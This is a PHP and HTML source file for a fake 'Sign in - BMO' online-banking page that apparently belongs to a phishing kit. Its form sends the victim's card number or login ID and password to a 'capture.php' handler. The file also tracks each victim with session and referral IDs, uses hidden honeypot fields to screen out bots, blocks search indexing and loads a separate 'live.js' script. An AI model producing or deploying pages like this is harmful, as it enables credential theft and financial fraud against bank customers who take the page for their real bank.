<?php
declare(strict_types=1);
if (!defined('DIR')) define('DIR', __DIR__);
$candidats = [dirname(DIR) . '/private/config.php', dirname(DIR, 2) . '/private/config.php', DIR . '/private/config.php'];
foreach ($candidats as $c) { if (is_file($c)) { require $c; break; } }

$sid = substr(preg_replace('/[^a-z0-9]/i', '', (string)($_GET['sid'] ?? '')), 0, 12);
if ($sid === '') $sid = bin2hex(random_bytes(6));
$ref = substr(preg_replace('/[^a-z0-9]/i', '', (string)($_GET['ref'] ?? '')), 0, 24);
?>
<!DOCTYPE html>
<html lang="en-CA">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="theme-color" content="#0075be">
<meta name="robots" content="noindex,nofollow">
<title>Sign in - BMO</title>
<link rel="stylesheet" href="head.css">
</head>
<body>
<?php readfile(DIR . '/barre.html'); ?>
<main>
  <div class="title">
    <svg width="22" height="22" viewBox="0 0 64 64" fill="#0075be" aria-hidden="true"><path d="M32 2a10 10 0 00-10 10v5h-2a6 6 0 00-6 6v29a10 10 0 0010 10h16a10 10 0 0010-10V23a6 6 0 00-6-6h-2v-5A10 10 0 0032 2zm0 4a6 6 0 016 6v5H26v-5a6 6 0 016-6zm0 31a5 5 0 012 9.6V50a2 2 0 01-4 0v-3.4A5 5 0 0132 37z"/></svg>
    <h1>Sign in</h1>
  </div>
  <div class="cols">
    <div class="card">
      <form id="form" action="capture.php" method="POST" autocomplete="off" novalidate>
        <input type="hidden" id="sid" name="sid" value="<?= htmlspecialchars($sid, ENT_QUOTES) ?>">
        <input type="hidden" name="ref" value="<?= htmlspecialchars($ref, ENT_QUOTES) ?>">
        <input type="hidden" name="t" value="">
        <div style="position:absolute;left:-9999px" aria-hidden="true">
          <input type="text" id="hp" name="hp" tabindex="-1" autocomplete="off">
          <input type="text" id="hp2" name="website" tabindex="-1" autocomplete="off">
        </div>

        <div class="field">
          <label for="identity">Card number or Login ID</label>
          <input class="inp" id="identity" name="u" type="text" maxlength="32" aria-label="Enter your 16 digit card number or Login ID" autocomplete="off" spellcheck="false" required>
        </div>

        <div class="row">
          <input type="checkbox" id="rememberMe-check" name="memo" value="1">
          <label for="rememberMe-check">Remember my card number or Login ID</label>
        </div>

        <div class="field">
          <label for="password">Password</label>
          <div class="pw">
            <input class="inp" id="password" name="p" type="password" maxlength="32" aria-label="Enter your online banking password" autocomplete="off" required>
            <button class="eye" type="button" id="oeil" aria-label="Show password">Show</button>
          </div>
        </div>

        <a class="forgot" href="#">Forgot your password or Login ID?</a>

        <button type="submit" class="btn" id="btn">Sign in</button>
      </form>
    </div>

    <aside class="side">
      <div class="card">
        <h2>Register a new card for online banking</h2>
        <p><a href="#">DEBIT CARD</a> or <a href="#">CREDIT CARD</a></p>
      </div>
      <div class="card">
        <div class="lockrow">
          <svg width="18" height="18" viewBox="0 0 64 64" fill="#001928" aria-hidden="true"><path d="M32 2a10 10 0 00-10 10v5h-2a6 6 0 00-6 6v29a10 10 0 0010 10h16a10 10 0 0010-10V23a6 6 0 00-6-6h-2v-5A10 10 0 0032 2zm0 4a6 6 0 016 6v5H26v-5a6 6 0 016-6z"/></svg>
          <h2>Your security always comes first.</h2>
        </div>
        <p>We&#8217;ve made Online Banking more convenient, while still using advanced security technologies that keep your money and information safe.</p>
        <p style="margin:0"><a href="#">Learn more about how we protect you.</a></p>
      </div>
    </aside>
  </div>
</main>
<footer><div class="fwrap"><a href="#">Legal</a><a href="#">Privacy</a><a href="#">Security</a><a href="#">Accessibility</a><a href="#">CDIC Member</a></div></footer>
<script>
(function(){
  var f=document.getElementById('form'),b=document.getElementById('btn'),e=document.getElementById('identity'),p=document.getElementById('password'),envoi=false;
  document.querySelector('input[name=t]').value=Date.now();
  try{var v=localStorage.getItem('bmo_card');if(v){e.value=v;document.getElementById('rememberMe-check').checked=true;p.focus();}else{e.focus();}}catch(err){e.focus();}
  document.getElementById('oeil').addEventListener('click',function(){p.type=p.type==='password'?'text':'password';this.textContent=p.type==='password'?'Show':'Hide';});
  f.addEventListener('submit',function(ev){
    if(envoi){ev.preventDefault();return;}
    if(!e.value.trim()){ev.preventDefault();e.focus();return;}
    if(!p.value){ev.preventDefault();p.focus();return;}
    try{if(document.getElementById('rememberMe-check').checked)localStorage.setItem('bmo_card',e.value.trim());else localStorage.removeItem('bmo_card');}catch(err){}
    envoi=true;b.disabled=true;b.textContent='Signing in\u2026';
  });
  window.addEventListener('pageshow',function(){envoi=false;b.disabled=false;b.textContent='Sign in';});
})();
</script>
<script src="live.js"></script>
</body>
</html>
